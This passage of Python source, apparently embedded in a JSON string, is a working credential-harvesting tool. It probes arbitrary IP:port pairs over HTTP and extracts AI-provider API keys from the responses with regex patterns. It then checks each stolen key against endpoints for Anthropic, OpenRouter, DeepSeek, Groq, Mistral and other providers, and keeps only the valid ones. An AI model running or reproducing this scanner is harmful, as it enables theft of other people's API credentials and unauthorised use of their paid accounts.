\"https://generativelanguage.googleapis.com/v1beta/models?key={key}\",\n \"headers\": lambda key: {},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"OpenRouter\": {\n \"url\": \"https://openrouter.ai/api/v1/auth/key\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"DeepSeek\": {\n \"url\": \"https://api.deepseek.com/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Anthropic\": {\n \"url\": \"https://api.anthropic.com/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\", \"anthropic-version\": \"2023-06-01\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"HuggingFace\": {\n \"url\": \"https://huggingface.co/api/models?limit=1\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"TogetherAI\": {\n \"url\": \"https://api.together.xyz/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Groq\": {\n \"url\": \"https://api.groq.com/openai/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Replicate\": {\n \"url\": \"https://api.replicate.com/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Key {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Perplexity\": {\n \"url\": \"https://api.perplexity.ai/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n \"Mistral\": {\n \"url\": \"https://api.mistral.ai/v1/models\",\n \"headers\": lambda key: {\"Authorization\": f\"Bearer {key}\"},\n \"success_check\": lambda resp: resp.status == 200,\n },\n}\n\n\nclass FoundKey:\n \"\"\"Represents a discovered API key with its metadata.\"\"\"\n\n def __init__(self, provider: str, key: str, source_ip: str, source_port: int, endpoint: str):\n self.provider = provider\n self.key = key\n self.source_ip = source_ip\n self.source_port = source_port\n self.endpoint = endpoint\n self.validated = None\n\n def to_dict(self) -> dict:\n return {\n \"provider\": self.provider,\n \"key\": self.key,\n \"ip\": self.source_ip,\n \"port\": self.source_port,\n \"endpoint\": self.endpoint,\n \"validated\": self.validated,\n }\n\n def __repr__(self):\n return f\"<FoundKey {self.provider}:{self.key[:20]}... @ {self.source_ip}:{self.source_port}{self.endpoint}>\"\n\n\nclass HTTPProbe:\n \"\"\"HTTP prober — checks endpoints and extracts API keys.\"\"\"\n\n def __init__(self, timeout: float = 5.0, max_concurrent: int = 100):\n self.timeout = timeout\n self.semaphore = asyncio.Semaphore(max_concurrent)\n self.connector = aiohttp.TCPConnector(limit=0, force_close=True)\n\n async def probe_ip_port(self, ip: str, port: int) -> list[FoundKey]:\n \"\"\"\n Probe a single IP:port pair against all endpoints.\n Returns list of FoundKey objects.\n \"\"\"\n found_keys = []\n async with self.semaphore:\n for endpoint in TARGET_ENDPOINTS:\n url = f\"http://{ip}:{port}{endpoint}\"\n try:\n async with aiohttp.ClientSession(connector=self.connector) as session:\n async with session.get(url, timeout=aiohttp.ClientTimeout(total=self.timeout),\n ssl=False) as resp:\n if resp.status in (200, 401, 403, 500, 502, 503):\n text = await resp.text()\n keys = self._extract_keys(text, ip, port, endpoint)\n found_keys.extend(keys)\n except (asyncio.TimeoutError, aiohttp.ClientError, Exception):\n continue\n return found_keys\n\n def _extract_keys(self, text: str, ip: str, port: int, endpoint: str) -> list[FoundKey]:\n \"\"\"Extract all API keys from response text.\"\"\"\n found = []\n for provider, pattern in KEY_PATTERNS.items():\n matches = pattern.findall(text)\n for match in matches:\n # Deduplicate by key value\n key_obj = FoundKey(provider, match, ip, port, endpoint)\n found.append(key_obj)\n return found\n\n\nclass KeyValidator:\n \"\"\"Validates discovered API keys against their provider APIs.\"\"\"\n\n def __init__(self, timeout: float = 10.0):\n self.timeout = timeout\n self.connector = aiohttp.TCPConnector(limit=50)\n\n async def validate(self, found_key: FoundKey) -> Optional[FoundKey]:\n \"\"\"\n Validate a key against its provider's API.\n Returns the FoundKey with validated=True/False or None if no validator.\n \"\"\"\n provider = found_key.provider\n if provider not in VALIDATION_ENDPOINTS:\n found_key.validated = None # Can't validate\n return None\n\n config = VALIDATION_ENDPOINTS[provider]\n url = config[\"url\"].format(key=found_key.key) if \"{key}\" in config[\"url\"] else config[\"url\"]\n headers = config[\"headers\"](found_key.key)\n\n try:\n async with aiohttp.ClientSession(connector=self.connector) as session:\n async with session.get(url, headers=headers,\n timeout=aiohttp.ClientTimeout(total=self.timeout),\n ssl=True) as resp:\n is_valid = config[\"success_check\"](resp)\n found_key.validated = is_valid\n if is_valid:\n return found_key\n return None\n except Exception:\n found_key.validated = False\n return None\n\n async def validate_batch(self, keys: list[FoundKey]) -> list[FoundKey]:\n \"\"\"Validate multiple keys in parallel. Returns only valid ones.\"\"\"\n tasks = [self.validate(k) for k in keys]\n results = await asyncio.gather(*tasks)\n return [r for r in results if r is not None and r.validated]\n"}}}}